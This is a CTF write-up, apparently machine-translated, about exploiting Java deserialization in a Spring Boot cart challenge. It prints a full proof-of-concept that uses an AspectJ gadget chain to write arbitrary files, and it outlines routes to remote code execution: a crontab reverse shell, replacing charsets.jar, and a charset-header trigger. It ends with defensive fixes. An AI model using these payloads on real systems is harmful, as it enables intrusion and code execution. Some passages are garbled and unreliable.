In the process of the competition, I found a bug and was prompted to write files and then rce. However, errors were reported during the encapsulation of malicious classes, and no debugging was found until the end of the competition. However, I later asked master Mrkaixin to find a small problem of my own. Then asked senior HPdoger to give the idea that Springboot may be arbitrary selection of files to write rCE use, so I opened idea and began to study. Many thanks again to master Mrkaixin and senior master zhu.

 

Set up the environment

During the competition, we can visit the robots.txt to access the source code, and then download it and build it locally, using maven environment. Here we have some configuration environment to figure out how to do it by ourselves, because the network was disconnected during the competition. Fortunately, we downloaded a lot of packages before using it, and after building it, we can look at the project directory.

 

The project startup details can be seen in launch/Main, and the tomcat startup port is 8081.

 

Code audit

Next is the code audit, the audit idea is to look at the controller first. There is a download function in the IndexController which is to download our source code, but there is no arbitrary file download…

 

Then, in the CartController controller, different operations are triggered according to different routes, which are all simple operations. Add query query delete remove operation.

We can control the get parameter skus and the cookie

And under each operation, the parameter values are serialized and deserialized. Then follow up and discover that there is an interface that implements its specific methods.

So let’s just look at one basically, so let’s look at the addToCart method. Deserialize our parameter values and add them to the map collection.

As with all other operations, if you look at the implementation of deserialization, you can see that the base64-encoded parameters are deserialized directly.

And then we basically understand that the project is basically the idea that we can control the get parameters and cookie parameters and do the add query delete operation. Note that the GET parameters and cookie parameters here must be Cart classes. Otherwise, an error will be reported.

Then, in the contest, I discovered that the implementation of the Query method was very simple and I deserialized it directly.

 

It felt like WC! Use the CC chain to type directly and then look at the pom.xml file in anticipation…

There are no CC components and bug components… The Fastjson and AspectJ versions here are self-modified because you don’t want to download any more. For Fastjson, the original version is 1.2.72 bug-free unless there is 0day! And you can’t use it. The original version of AspectJ was 1.9.5, and then I asked my team to use the target machine with Internet access to search for aspectJ version vulnerabilities. Sure enough, there was a write file vulnerability, which required cc chain, and the project did not have CC components. Take a look at aspectJ’s exploitation article.

Look at the call stack

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()
Copy the code

TiedMapEntry and LazyMap are both classes in the CC component. SimpleCache$StorableCachingMap#put = SimpleCache$StorableCachingMap#put = SimpleCache$StorableCachingMap#put = SimpleCache$StorableCachingMap#put Doesn’t that make the chain work?

 

So now the call stack

Gadget chain: CartServiceImpl. AddToCart () / / Deserializer deserialized into cart object. The readObject () CartServiceImpl. AddToCart () / / put method SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()Copy the code

Then take a look at the final file writing process

 

Then call the writeToPath method

We can control the contents of the file and the values in the file, so we can write to the file successfully.

 

Construct the poc

Error reported because the previous file stated that the control parameters need to be cart classes that cannot be deserialized. So we build directly in the project domain/ CART.

First we let cookie serialize the Cart class SkuDescribe first for our malicious class SimpleCache and of type map. This should be careful not to generate an error when constructing a POC.

 

Here we can use some of the POC in the YSO. I’m going to go ahead and give setSkuDescribe a malicious object called simpleCache, and I’m going to be careful here because the simpleCache inner class StoreableCachingMap property is private and I’m going to get an error, The solution is to create the same class in the current project directory and change the inner class StoreableCachingMap to public.

Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); / / get the objCopy the code

I’m going to get an error if I set it in because the data type doesn’t match, which is exactly what I said before. SkuDescribe type is map, and then we’re going to encapsulate it as map oak.

 

cart.setSkuDescribe((Map<String, Object>) simpleCache);
Copy the code

Then we get the cookie parameter constructed, and then we construct our GET data and write it to the file.

 

SetSkuDescribe a Map. The key of the Map is the file name and the value is the file content.

Map map = new HashMap(); String filepath = "1.txt"; String data = readFile(filepath); Map. put("2.txt",data.getBytes(standardCharsets.utf_8)); / / code cart. SetSkuDescribe (map);Copy the code

Then base64 encodes the values of get and cookie together and send them and Ocque will write them to the file successfully.

The complete poc

Public static String readFile(String filePath) throws Exception{// Instantiate an input stream object based on the path path FileInputStream fis = new FileInputStream(filePath); //2. Returns an estimate of the remaining bytes in the input stream that can be read; int size = fis.available(); System.out.println(size); //3. Create a byte array based on the number of bytes in the input stream; byte[] array = new byte[size]; //4. Read the data into the array; fis.read(array); //5. Create a string based on the obtained Byte array and print it. String result = new String(array); result = result.replaceAll("\r|\n", ""); fis.close(); return result; } public static Cart cookiePayload() throws Exception { Cart cart = new Cart(); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); // Get obj cart. SetSkuDescribe ((Map<String, Object>) simpleCache); return cart; } public static Cart getPayload() throws Exception { Map map = new HashMap(); Cart cart = new Cart(); String filepath = "1.txt"; String data = readFile(filepath); map.put("2.txt",data.getBytes(StandardCharsets.UTF_8)); / / code cart. SetSkuDescribe (map); return cart; } public static String getURLEncoderString(String str) { String result = ""; if (null == str) { return ""; } try { result = java.net.URLEncoder.encode(str, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return result; } public static String URLDecoderString(String str) { String result = ""; if (null == str) { return ""; } try { result = java.net.URLDecoder.decode(str, "UTF-8"); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } return result; } public static String Exp(Cart poc)throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(poc); baos.close(); return (new BASE64Encoder().encode(baos.toByteArray()).replace("\r\n", "")); } public static void main(String[] args) throws Exception { System. The out. Println (" -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- the get data -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- "); System.out.println(getURLEncoderString(Exp(getPayload()))); System. The out. Println (" -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- the cookie data -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - "); System.out.println(Exp(cookiePayload())); }Copy the code

RCE ideas

If you can write to a file, you can’t get the Flag, and then you can drop the hint. Jar (java-jar xx.jar) : jar (java-jar xx.jar) : jar (java-jar xx.jar) : jar (java-jar xx.jar) : jar (java-jar xx.jar) : jar (java-jar xx.jar)

Spring Boot Fat Jar write file vulnerability to stable RCE exploration.

That’s our problem, too.

 

Idea 1:

Write the crontab scheduled task file and then bounce the shell. But I don’t know if I have clearance…

Idea 2:

If you find a way to control a program to initiate a malicious class within the scope of a specified write file vulnerability, you could potentially turn a write file vulnerability into a code execution vulnerability. Simply put, the file we write is initialized to execute static code blocks, methods referenced by static properties, and possibly code in the constructor. We then put the command in static code to execute it.

The scope of this file, as mentioned in this article, is probably the lower level “system classpath directory,” which is the JDK HOME directory. /jre/lib/charsets.jar file.

And then we have to solve the problem that we can write this file and then how do we trigger it? How to actively trigger the class initialization behavior that controls the class name.

After replacing charsets. Jar, RCE can be triggered using the following package:

GET/HTTP/1.1 Accept: text/ HTML; charset=GBK import requests headers = {"Accept": "text/html; charset=GBK"} requests.get(url, headers=headers)Copy the code

Idea 3:

Use spi Serviceloader.load (CharsetProvider.class, cl); All I had to do was add an SPI class to my system’s classpath. Then it inherits the CharsetProvider and overrides the methods in it to trigger rCE when charset.forname () is used.

Thinking four:

Hook sun. Nio. Cs. Ext ExtendedCharsets we can rewrite the class and then add malicious code and then execute the command. Charset.forname () can be triggered by hijacking system programs, whether javac.exe compiles bytecode, or running the JVM, etc. However, it cannot be used in this problem because the problem environment is always running and does not restart, so it does not fire.

The basic idea is to overwrite the file (replace the charsets.jar package/write the classes folder) and trigger it with charset.forname ().

But I tested it myself in this subject by “Accept” : “text/ HTML; Charset = evil;” Failed to trigger, and in retrospect there was no import of the springframework that caused the utilization to fail. The charset.forname () trigger was not found in the project itself…

But maybe that’s the idea? ! It’s just a personal guess, but I’ve been thinking about it for a while.

Let’s dig a hole here…

 

Fix ideas

The following hour was the fix mode. I had no idea about the Java fix at the beginning, but I learned the ideas and methods myself after the competition. So let’s just write it down.

There is an article on Github that describes the implementation of one of the methods that underlie the SerialKiller project and are used by many frameworks.

hook

Hook ObjectInputStream’s resolveClass method

We need to inherit the Java. IO. ObjectInputStream realize a subclass, rewrite resolveClass method in a subclass, in which to achieve by judging the name of the class to filter the dangerous class. This subclass is then used in the JavaSerializer class to read serialized data to fix the vulnerability.

 

 

Create a new utility class: utils/Fix

package ciscn.fina1.ezj4va.utils;

import ciscn.fina1.ezj4va.domain.Cart;
import java.io.*;

public class Fix extends ObjectInputStream {
    public Fix(InputStream inputStream)
            throws IOException {
        super(inputStream);
    }
    /**
     * 只允许反序列化Cart.class
     */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
            ClassNotFoundException {
        if (!desc.getName().equals(Cart.class.getName())) {
            throw new InvalidClassException(
                    "Unauthorized deserialization attempt",
                    desc.getName());
        }
        return super.resolveClass(desc);
    }

}
Copy the code

Change the Deserializer class

package ciscn.fina1.ezj4va.utils; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.Base64; public class Deserializer{ public static Object deserialize(String base64data) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data)); Fix fix = new Fix(bais); Object obj = fix.readObject(); fix.close(); return obj; }}Copy the code

Modify the suid

This fix, learned from Master Xenny, is done by modifying the serialVersionUID of the key class (the cart class in the title), which can be understood as a Java serialization identifier, Deserialization can be successful only if the serialVersionUID value after serialization is the same as the value before serialization. Otherwise an InvalidClassException error will be reported. So if we change the CART suID, we’ll get an error, and we can use tools to do that instead of decompiling and packaging. JByteMod – 1.8.2

Note that the JRE runtime environment must be consistent with the project runtime environment when running the tool.

I hope the teachers can give a good method.

 

conclusion

Thank you very much to master Mrkaixin and senior master zhu and master Xenny. Although this problem is still not RCE, but have ideas, also learn Spring Boot Fat Jar write file vulnerability to stable RCE, and learn Java serialization problem fix ideas and methods, in general, this problem is very good, I learned a lot.

The last

I sorted out the relevant learning materials and tools on the Internet, friends in need can pay attention to private letter I oh!!

With a detailed